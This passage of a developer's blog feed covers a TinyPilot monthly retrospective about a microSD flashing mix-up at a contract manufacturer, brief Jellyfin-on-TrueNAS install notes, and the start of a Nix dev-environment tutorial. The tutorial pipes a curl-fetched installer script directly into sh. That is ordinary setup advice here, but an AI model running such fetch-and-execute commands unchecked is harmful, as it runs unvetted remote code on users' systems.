 &lt;td>&lt;font color="green">+$16,070.33 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,644.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$69,280.58&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$60,635.76 (+701%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was TinyPilot&amp;rsquo;s second-strongest month in history, and I have no idea why. Nothing stands out in our analytics, and I&amp;rsquo;m not aware of any new reviews or mentions. We saw &lt;a href="https://mtlynch.io/retrospectives/2022/11/">strong sales in October 2022&lt;/a> as well, so it could just be seasonal.&lt;/p>
&lt;p>I was expecting numbers to drop a bit because I&amp;rsquo;ve been focused on our manufacturing shift and haven&amp;rsquo;t invested in marketing. I&amp;rsquo;m glad to see that we can survive on momentum, but I&amp;rsquo;m also beginning to invest more into growth in the last few months of 2023.&lt;/p>
&lt;h2 id="trying-to-get-microsds-right-with-the-new-manufacturer">Trying to get microSDs right with the new manufacturer&lt;/h2>
&lt;h3 id="the-missing-disks">The missing disks&lt;/h3>
&lt;p>TinyPilot devices store data on tiny disks called microSDs. A few days before our manufacturer was supposed to send the first sample of the TinyPilot devices, they noticed that the reference devices I sent them had microSDs in them. Did I want microSDs?&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/11/microsd-card.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/11/microsd-card_hu_33c83b75ab9d4cd4.jpg 300w, https://mtlynch.io/retrospectives/2023/11/microsd-card.jpg 300w'
 src="https://mtlynch.io/retrospectives/2023/11/microsd-card.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A TinyPilot microSD disk&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It turned out that the manufacturer never included microSDs in the bill of materials (BOM). I never noticed that they were missing, either.&lt;/p>
&lt;p>Fortunately, buying and flashing microSDs is a fast and straightforward process. We already had a vendor that made microSDs with the TinyPilot logo on them. We put our manufacturer in touch with that vendor, and we explained to our manufacturer how to flash the microSDs with TinyPilot&amp;rsquo;s software.&lt;/p>
&lt;p>The manufacturer and I agreed that it wasn&amp;rsquo;t worth delaying the first samples due to the microSDs. We decided that they&amp;rsquo;d ship the devices without microSDs and then they&amp;rsquo;d send the microSDs a week or two later.&lt;/p>
&lt;p>There ended up being &lt;a href="https://mtlynch.io/retrospectives/2023/10/#correcting-issues-in-the-first-article-sample">so many issues&lt;/a> with the first sample that I forgot about the microSDs entirely, and the manufacturer never sent them.&lt;/p>
&lt;h3 id="checking-correct-microsd-flashing">Checking correct microSD flashing&lt;/h3>
&lt;p>By mid-October, the manufacturer said they&amp;rsquo;d fixed all the issues I&amp;rsquo;d raised with the first sample. They were going to send &lt;a href="https://mtlynch.io/retrospectives/2023/10/#do-we-skip-the-second-sample">a small production batch&lt;/a> that should be totally complete and ready to ship to customers.&lt;/p>
&lt;p>We were still going to perform additional QA on the first batch to make sure they matched our in-house standards. Part of our verification involved checking that the manufacturer flashed the microSDs correctly.&lt;/p>
&lt;p>It wasn&amp;rsquo;t until two days before the batch was scheduled to arrive that I thought - &lt;em>how&lt;/em> am I going to check that the manufacturer flashed the microSDs correctly? I wanted to make sure every last byte on the disk was correct.&lt;/p>
&lt;p>Verifying the microSDs was non-trivial, so I asked TinyPilot&amp;rsquo;s support engineering team to create a quick shell script that would compare a microSD from the manufacturer to our &amp;ldquo;golden&amp;rdquo; disk image and report any differences. They were able to create the script just in time for my testing.&lt;/p>
&lt;p>When the first batch arrived, I loaded a microSD, ran our integrity checking script, and it reported that everything matched. Great!&lt;/p>
&lt;p>We ran functional tests, and everything worked as it should. I was delighted. This meant that the manufacturer had gotten this batch totally correct, so we could declare victory on our transition to our third-party manufacturer.&lt;/p>
&lt;p>As I was preparing to shut down the last TinyPilot in my testing, I noticed something. The video settings weren&amp;rsquo;t the defaults that TinyPilot ships with. It looked like someone had used this device before me.&lt;/p>
&lt;p>I shut down the device I was testing and re-ran the microSD checking script. This time, it should definitely report changes because I had changed a lot of the settings during my test. Instead, the script reported that my microSD perfectly matched our golden image.&lt;/p>
&lt;p>Uh oh.&lt;/p>
&lt;p>Even though the script worked correctly on the support engineer&amp;rsquo;s machine, it always returned a false positive in my testing environment.&lt;/p>
&lt;p>From further inspection of the microSD, it was clear that the manufacturer had misunderstood our instructions. We wanted them to perform QA with a test microSD and replace it with a fresh one before it was packaged for the customer. The manufacturer wasn&amp;rsquo;t doing the swap, so they were shipping units to customers with used microSDs.&lt;/p>
&lt;p>Fortunately, this mistake was relatively easy for us to correct at our office. Our local team opened each box, re-flashed the microSDs back to clean state, re-packed them, and sent them to our warehouse.&lt;/p>
&lt;p>Long-term, we obviously don&amp;rsquo;t want to re-flash every microSD in our office. When we reported the issue to our manufacturer, they told us that they had indeed misunderstood our instructions and revised their process to ensure that every microSD that reaches customers is freshly flashed with our image. We&amp;rsquo;ll verify the next batch again, but I&amp;rsquo;m hopeful that we&amp;rsquo;re approaching the end of this issue.&lt;/p>
&lt;h3 id="how-could-i-have-prevented-the-microsd-issue">How could I have prevented the microSD issue?&lt;/h3>
&lt;p>The issue with the microSDs was the culmination of several errors that had happened earlier:&lt;/p>
&lt;ul>
&lt;li>I didn&amp;rsquo;t notice that the microSD was missing from the manufacturer&amp;rsquo;s bill of materials.&lt;/li>
&lt;li>The manufacturer never sent me the sample microSD, and I forgot to follow up about it.&lt;/li>
&lt;li>I didn&amp;rsquo;t think about how to verify the microSD until late in the process.&lt;/li>
&lt;li>I underestimated the amount of rigor we should put into the script for microSD checking.&lt;/li>
&lt;/ul>
&lt;p>When I reviewed the BOM, I just went by memory and thought everything was there. I could have done a more rigorous teardown of one of our products to verify there was a 1:1 match between everything in the manufacturer&amp;rsquo;s BOM and everything in our product.&lt;/p>
&lt;p>This is the second time we&amp;rsquo;ve run into a problem around &lt;a href="https://mtlynch.io/retrospectives/2023/09/#shift-manufacturing-to-our-contract-manufacturer-as-quickly-as-possible">dropped commitments from the manufacturer&lt;/a>, and I still don&amp;rsquo;t have a great solution. Overall, they stay on top of most tasks, but they forget about 10% of tasks unless I follow up. I&amp;rsquo;ve been raising issues when I&amp;rsquo;m waiting on something, but that makes it easy for things like microSDs or instruction manuals to fall through the cracks. They&amp;rsquo;re the parts of the product that seem unimportant until they&amp;rsquo;re preventing us from shipping.&lt;/p>
&lt;p>I also underinvested in our microSD checking script. At the time, it felt like a one-off script, so we didn&amp;rsquo;t have to dedicate the time and care we would for customer-facing code. But when we hit the false positive, I realized how important it was for the script to work as expected during our QA process and how expensive a mistake it could have been. So, we&amp;rsquo;re rewriting the script based on our standard process for creating production-grade code.&lt;/p>
&lt;p>I&amp;rsquo;m not sure what the solution is for verifying the manufacturer&amp;rsquo;s process end-to-end. When we were doing this in-house, we had a set of instructions in Notion, and our whole team would just follow those. We can&amp;rsquo;t share a Notion workspace with the manufacturer because their workers don&amp;rsquo;t all read English. So, we give them our English instructions, the manufacturer translates them into Vietnamese, and the workers read the Vietnamese version. I can&amp;rsquo;t verify that the Vietnamese process matches the English process.&lt;/p>
&lt;p>Requesting videos of the QA process was helpful. They showed, in a language-independent way, how the manufacturer performs QA. But it&amp;rsquo;s hard to get a video of the entire process end-to-end. The QA process video didn&amp;rsquo;t make it obvious that the microSD they were using for testing ended up staying in the final product, and I&amp;rsquo;m not sure how I&amp;rsquo;d prevent that.&lt;/p>
&lt;p>The manufacturer did invite me to go to Vietnam to visit the factory. I declined, as I&amp;rsquo;m traveled-out this year, but looking back, maybe that would have prevented some expensive errors. I also could have also offered the trip to one of the local team members.&lt;/p>
&lt;h2 id="creating-a-customer-success-process">Creating a customer success process&lt;/h2>
&lt;p>At the start of the year, the local TinyPilot team&amp;rsquo;s job was about 20% customer service and 80% assembly and fulfillment. That balance has shifted significantly this year as we&amp;rsquo;ve moved manufacturing and fulfillment to external vendors. By the start of 2024, assembly and fulfillment should be 0% of the local team&amp;rsquo;s work.&lt;/p>
&lt;p>The problem is that customer service still takes less than 50% of the local team&amp;rsquo;s weekly hours, so how do we use their additional availability?&lt;/p>
&lt;p>The team has been discussing this problem since the beginning of the year. The most natural transition seems to be shifting from reactively responding to support requests to proactively reaching out to existing customers. Some companies call this role &amp;ldquo;customer success.&amp;rdquo;&lt;/p>
&lt;p>The embarrassing truth is that I rarely reach out to customers. It&amp;rsquo;s one of the &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but non-urgent tasks&lt;/a> that I always neglect. But if I can teach the local staff to do it, it&amp;rsquo;s no longer limited by my available bandwidth.&lt;/p>
&lt;p>We&amp;rsquo;re piloting a new customer success process that looks like this:&lt;/p>
&lt;ol>
&lt;li>Customer service team researches customers who spend a lot with TinyPilot (especially repeat buyers).&lt;/li>
&lt;li>Customer service team sends the customer a human-written email mentioning specifics about their company and their order (so it doesn&amp;rsquo;t seem automated) and an invitation for a call to discuss feature requests or pain points.&lt;/li>
&lt;li>We meet with the customer and learn about how they use TinyPilot.&lt;/li>
&lt;li>We integrate the customer&amp;rsquo;s feedback into our feature roadmap.&lt;/li>
&lt;/ol>
&lt;p>When I receive outreach as a customer from other businesses, it&amp;rsquo;s usually baldly selfish. They&amp;rsquo;ll say something like, &amp;ldquo;We want to help you understand all of our offerings,&amp;rdquo; but they&amp;rsquo;re really just trying to get me to buy more stuff.&lt;/p>
&lt;p>I want TinyPilot&amp;rsquo;s customer outreach to feel collaborative rather than parasitic or greedy. I think it will help us tune our roadmap to features that our customers want, and it will help us find out about new opportunities for TinyPilot that we otherwise wouldn&amp;rsquo;t discover.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="goodbye-ansible-hello-nix">Goodbye Ansible, Hello Nix&lt;/h3>
&lt;p>I&amp;rsquo;ve been using Ansible for the past several years to manage my development environments, but it has a lot of pain points that are wearing on me. I&amp;rsquo;ve been trying to replace Ansible with Nix &lt;a href="https://mtlynch.io/tags/nix">for the past fews months&lt;/a>, and I think I&amp;rsquo;m finally done.&lt;/p>
&lt;p>I had seen &lt;a href="https://github.com/nix-community/home-manager">Nix Home Manager&lt;/a> in the past, but I didn&amp;rsquo;t get the point. It manages files in my home directory? Doesn&amp;rsquo;t NixOS already manage my entire system?&lt;/p>
&lt;p>The key things I was missing were:&lt;/p>
&lt;ul>
&lt;li>Home Manager works on any Linux or Mac system, not just NixOS.&lt;/li>
&lt;li>Because Home Manager is optimized for text files, its interface for managing text files is better than NixOS'.&lt;/li>
&lt;/ul>
&lt;p>Now, instead of managing my dev systems with Ansible, I manage everything with Home Manager and &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">project-specific Nix flakes&lt;/a>. I haven&amp;rsquo;t run an Ansible playbook in over a month.&lt;/p>
&lt;p>One notable change is that I use and define bash aliases more regularly for common commands. My old process for adding bash aliases was to add them to my Ansible playbook, then re-run the playbook on any system where I wanted the alias. But running Ansible playbooks on my system was so slow and prone to failure that I&amp;rsquo;d end up with half my systems knowing about an alias and half not. There was so much friction involved that I was rarely motivated to add new aliases and integrate them into my normal habits.&lt;/p>
&lt;p>With Nix, Home Manager now manages all my bash aliases. If I want to add a shell alias, I edit &lt;code>~/.config/home-manager/home.nix&lt;/code> and then run &lt;code>home-manger switch&lt;/code> to apply the changes (actually, I shortened this to a bash alias: &lt;code>hs&lt;/code>). The whole process takes less than a minute, and it never fails due to external factors the way Ansible did.&lt;/p>
&lt;p>I had been trying to make the switch to NixOS, but I was having trouble because there were so many differences between my normal Debian dev environments and NixOS. Using Home Manager is a nice, happy medium between going all-in on Nix and holding on to my familiar Debian workflows.&lt;/p>
&lt;h3 id="im-a-weird-mechanical-keyboard-person-now">I&amp;rsquo;m a weird mechanical keyboard person now&lt;/h3>
&lt;p>In Lex Fridman&amp;rsquo;s interview with Python creator Guido von Rossum, Lex has &lt;a href="https://www.youtube.com/watch?v=OLyu899ixL8">an extended aside&lt;/a> about how much he loves his Kinesis Advantage 2 keyboard.&lt;/p>
&lt;p>Kinesis is a popular vendor for mechanical keyboards. Their keyboards are unique in that the keys are in a concave well, and the two halves of the keyboard are several inches apart.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/11/fridman-tweet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/11/fridman-tweet_hu_fa7f93149f6c7740.png 300w, https://mtlynch.io/retrospectives/2023/11/fridman-tweet.png 598w'
 src="https://mtlynch.io/retrospectives/2023/11/fridman-tweet.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lex Fridman &lt;a href="https://twitter.com/lexfridman/status/1206238129180549120">loves his Kinesis Advantage 2&lt;/a> mechanical keyboard.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Lex loves his Kinesis keyboard so much so that he brings it with him on flights because he&amp;rsquo;d rather lug around a giant keyboard than use his laptop&amp;rsquo;s built-in keys.&lt;/p>
&lt;p>I&amp;rsquo;ve been using a Microsoft Ergonomic Keyboard of some variation since I was 14 years old. I like it, but I don&amp;rsquo;t love it the way Lex talks about Kinesis, so I&amp;rsquo;ve been curious about mechanical keyboards for the past few months.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard_hu_f9cd24b479a228f9.jpg 300w, https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard_hu_284afc6338eee7f7.jpg 600w, https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard_hu_255aa0e53fd35f08.jpg 800w, https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard_hu_87127044f8794dc.jpg 1200w, https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard.jpg 1385w'
 src="https://mtlynch.io/retrospectives/2023/11/microsoft-ergo-keyboard.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Microsoft Natural Ergonomic Keyboard 4000, my main keyboard until recently&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I only know a couple of people who use mechanical keyboards, but I never understood the appeal. It was fine if they wanted to nerd out about something, but I felt like the maximum enjoyment I&amp;rsquo;d ever get from a keyboard was pretty limited, so why bother?&lt;/p>
&lt;p>Then, I got curious and started reading more about high-end keyboards. I spend most of my waking hours at my keyboard, so maybe I &lt;em>should&lt;/em> invest in optimizing the experience.&lt;/p>
&lt;p>After checking out a few of the options like Kinesis, Ergodox, and ZSA, I ended up going with the &lt;a href="https://kinesis-ergo.com/keyboards/advantage360/">Kinesis Advantage 360&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard_hu_6562c4747a77e841.jpg 300w, https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard_hu_e10d0a0f00e8f571.jpg 600w, https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard_hu_d1b424c234d114dc.jpg 800w, https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard_hu_6006fbe43f2e2759.jpg 1200w, https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2023/11/kinesis-keyboard.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;ve just switched to the &lt;a href="https://kinesis-ergo.com/keyboards/advantage360/">Kinesis Advantage 360&lt;/a> keyboard.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The first day with the keyboard was a real struggle. I was going about 5% of my usual typing speed. I had a lot of paperwork to get through, so I put aside the keyboard for the next morning.&lt;/p>
&lt;p>Day two was easier, but it was still a challenge. I kept at it, and I&amp;rsquo;m now faster on this keyboard when typing English prose, but I&amp;rsquo;m slower at programming. I haven&amp;rsquo;t gotten used to characters like &lt;code>[&lt;/code>, &lt;code>{&lt;/code>, and &lt;code>=&lt;/code> on this keyboard. I&amp;rsquo;ve even remapped keys to make them easier, but I&amp;rsquo;m still trying to build the muscle memory.&lt;/p>
&lt;p>I&amp;rsquo;ve read reviews from other people who say they have no trouble switching back to a regular keyboard once they got used to Kinesis, and that hasn&amp;rsquo;t been my experience so far. When I switch to the cramped laptop keyboard on my Surface Pro 6, I make tons of typos. Maybe I&amp;rsquo;ll eventually get back to being comfortable on both.&lt;/p>
&lt;p>There&amp;rsquo;s a 60-day return window, but at this point, I&amp;rsquo;m pretty sure I&amp;rsquo;m going to stick with the Kinesis.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>We shipped the first batch of TinyPilot Voyager 2a devices made by our contract manufacturer.&lt;/li>
&lt;li>We eliminated manual effort from TinyPilot&amp;rsquo;s release process.&lt;/li>
&lt;li>I switched to a mechanical keyboard.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Track manufacturer commitments more actively.
&lt;ul>
&lt;li>This is a mistake I made before and didn&amp;rsquo;t address it correctly.&lt;/li>
&lt;li>The microSDs repeat a pattern where the manufacturer commits to doing something, I assume that they&amp;rsquo;re handling it, we both forget, and it causes issues down the line.&lt;/li>
&lt;li>I need to start recording their commitments review the status each week in case they forget.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Match BOMs component by component.
&lt;ul>
&lt;li>When the manufacturer sent the bill of materials months ago, I just mentally checked what I expected to see, but I missed that the microSD was missing.&lt;/li>
&lt;li>When I go through a BOM agreement process in the future, I&amp;rsquo;ll take our existing product apart, inventory all the components, and then verify that it matches the manufacturer&amp;rsquo;s BOM.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Shift manufacturing to our contract manufacturer as quickly as possible.&lt;/li>
&lt;li>Conduct five customer outreach calls.&lt;/li>
&lt;li>Clear the TinyPilot office of all old inventory and spare parts.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Installing Jellyfin on TrueNAS Core</title><link>https://mtlynch.io/notes/jellyfin-truenas-core/</link><pubDate>Sun, 29 Oct 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/jellyfin-truenas-core/</guid><description>&lt;p>I always run into issues installing Jellyfin on TrueNAS core. I fix them, and then I forget a few months later, so these are just my notes to myself of how to install Jellyfin on TrueNAS core.&lt;/p>
&lt;h2 id="instructions">Instructions&lt;/h2>
&lt;p>Install based on these instructions:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/Thefrank/jellyfin-server-freebsd/blob/main/Installation_TrueNAS_GUI.md#the-advanced-way">https://github.com/Thefrank/jellyfin-server-freebsd/blob/main/Installation_TrueNAS_GUI.md#the-advanced-way&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We need to follow the advanced instructions because &lt;a href="https://www.truenas.com/community/threads/ffmpeg-error-in-fresh-nextcloud-jail.112033/#post-780590">TrueNAS plugins are deprecated&lt;/a>.&lt;/p>
&lt;h2 id="gotcha-jellyfin-server-is-not-available">Gotcha: Jellyfin server is not available&lt;/h2>
&lt;p>The first few loads after installing, an error will appear saying Jellyfin isn&amp;rsquo;t available. For some reason, waiting a few minutes fixed the issue and let me create a new account.&lt;/p></description><content:encoded>&lt;p>I always run into issues installing Jellyfin on TrueNAS core. I fix them, and then I forget a few months later, so these are just my notes to myself of how to install Jellyfin on TrueNAS core.&lt;/p>
&lt;h2 id="instructions">Instructions&lt;/h2>
&lt;p>Install based on these instructions:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/Thefrank/jellyfin-server-freebsd/blob/main/Installation_TrueNAS_GUI.md#the-advanced-way">https://github.com/Thefrank/jellyfin-server-freebsd/blob/main/Installation_TrueNAS_GUI.md#the-advanced-way&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We need to follow the advanced instructions because &lt;a href="https://www.truenas.com/community/threads/ffmpeg-error-in-fresh-nextcloud-jail.112033/#post-780590">TrueNAS plugins are deprecated&lt;/a>.&lt;/p>
&lt;h2 id="gotcha-jellyfin-server-is-not-available">Gotcha: Jellyfin server is not available&lt;/h2>
&lt;p>The first few loads after installing, an error will appear saying Jellyfin isn&amp;rsquo;t available. For some reason, waiting a few minutes fixed the issue and let me create a new account.&lt;/p>
&lt;h2 id="mounting-media">Mounting media&lt;/h2>
&lt;p>Go to Jails &amp;gt; Mount Points.&lt;/p>
&lt;p>Mount the folder(s) of media to &lt;code>[pool root]/iocage/jails/jellyfin/root/media&lt;/code>.&lt;/p>
&lt;p>Mount as read-only.&lt;/p>
&lt;h2 id="granting-permissions">Granting permissions&lt;/h2>
&lt;p>Open Jails &amp;gt; Jellyfin &amp;gt; Shell and type &lt;code>id jellyfin&lt;/code>.&lt;/p>
&lt;p>From the TrueNAS pool, add an ACL item for the uid of the Jellyfin user, specifying the &lt;code>jellyfin&lt;/code> server&amp;rsquo;s &lt;code>uid&lt;/code> instead of a username.&lt;/p>
&lt;h2 id="adding-libraries">Adding libraries&lt;/h2>
&lt;p>The add library screen is strange and doesn&amp;rsquo;t give good feedback. Type &lt;code>/media&lt;/code> and then hit the search button. If the permissions are set correctly, you should see subfolders of the mounted drive.&lt;/p></content:encoded></item><item><title>Per-Project Development Environments with Nix</title><link>https://mtlynch.io/notes/nix-dev-environment/</link><pubDate>Tue, 17 Oct 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nix-dev-environment/</guid><description>&lt;p>&lt;a href="https://nixos.org/">Nix&lt;/a> is a broad product with a steep learning curve. It&amp;rsquo;s capable of everything from installing a single package to managing every file and application on your OS.&lt;/p>
&lt;p>One useful thing you can do with Nix, even as a complete beginner, is manage your dev environments.&lt;/p>
&lt;p>Nix lets me have multiple projects on the same system that each have their own independent view of what dependencies are available. I can have one legacy project running Python 2.7 and Node.js 4.x alongside a modern project running Python 3.11 and Node.js 20, and they won&amp;rsquo;t interfere with each other.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://nixos.org/">Nix&lt;/a> is a broad product with a steep learning curve. It&amp;rsquo;s capable of everything from installing a single package to managing every file and application on your OS.&lt;/p>
&lt;p>One useful thing you can do with Nix, even as a complete beginner, is manage your dev environments.&lt;/p>
&lt;p>Nix lets me have multiple projects on the same system that each have their own independent view of what dependencies are available. I can have one legacy project running Python 2.7 and Node.js 4.x alongside a modern project running Python 3.11 and Node.js 20, and they won&amp;rsquo;t interfere with each other.&lt;/p>
&lt;p>Even if you have no experience with Nix, you can use Nix-managed dev environments with about 20 minutes of work.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I&amp;rsquo;m still a Nix beginner, so I&amp;rsquo;m not sure if what I&amp;rsquo;m doing is the optimal solution. If more experienced Nix readers have suggestions for improvements, let me know, and I&amp;rsquo;ll update the post.
&lt;/div>

&lt;h2 id="why-not-manage-development-environments-with-docker">Why not manage development environments with Docker?&lt;/h2>
&lt;p>I like Docker, and I use it for deployment and certain DevOps tasks, but I haven&amp;rsquo;t found it helpful for managing development environments.&lt;/p>
&lt;p>I do my development in VS Code over SSH, and Docker makes that a pain. I know there are workarounds, but I&amp;rsquo;ve never found them appealing.&lt;/p>
&lt;h2 id="why-not-manage-development-environments-with-ansible">Why not manage development environments with Ansible?&lt;/h2>
&lt;p>For the past six years, &lt;a href="https://mtlynch.io/notes/nix-first-impressions/#the-problems-with-ansible">I&amp;rsquo;ve managed my development environments with Ansible&lt;/a>, and that&amp;rsquo;s worked okay.&lt;/p>
&lt;p>For every software project I have, I create a dedicated virtual machine and associated Ansible playbook for configuring the VM with all of my dependencies.&lt;/p>
&lt;p>The problem is that when I want to experiment with something for a few minutes, I&amp;rsquo;m not that excited to spin up a whole VM, write a playbook, and then wait 10-20 minutes for Ansible to provision the server.&lt;/p>
&lt;p>I&amp;rsquo;m slowly migrating all of my projects to use Nix rather than Ansible, as Nix is much lighter weight. Upgrading my dependencies through Ansible usually takes me about 20 minutes per dependency, whereas I can do the same thing in Nix in about two minutes.&lt;/p>
&lt;h2 id="creating-a-simple-nix-development-environment">Creating a simple Nix development environment&lt;/h2>
&lt;p>To demonstrate how Nix development environments work, I&amp;rsquo;m going to start with a Debian 11 system with nothing installed.&lt;/p>
&lt;h3 id="install-nix">Install Nix&lt;/h3>
&lt;p>First, install Nix. I&amp;rsquo;m using the third-party &lt;a href="https://zero-to-nix.com/start/install">Determinate Systems installer&lt;/a> rather than the official Nix installer, as the Determinate Systems one makes some opinionated configuration decisions that are useful for what I&amp;rsquo;m showing here.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --proto &lt;span style="color:#ed9d13">&amp;#39;=https&amp;#39;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tlsv1.2 -sSf -L https://install.determinate.systems/nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | sh -s -- install &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> . /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="create-a-simple-python-27-application">Create a simple Python 2.7 application&lt;/h3>
&lt;p>To show Nix development environments in action, I&amp;rsquo;m going to create a simple application that runs under Python 2.7, the legacy version of Python that was officially deprecated in 2020.&lt;/p>
&lt;p>To begin, I create a new directory for the project.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir example &amp;amp;&amp;amp; &lt;span style="color:#24909d">cd&lt;/span> example
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, download or copy this Nix flake, the file that defines the Nix development environment:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Demo Nix dev environment&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 2.7.18.7 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/517501bcf14ae6ec47efd6a17dda0ca8e6d866f9&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> self,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } @ inputs:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs = inputs.python-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
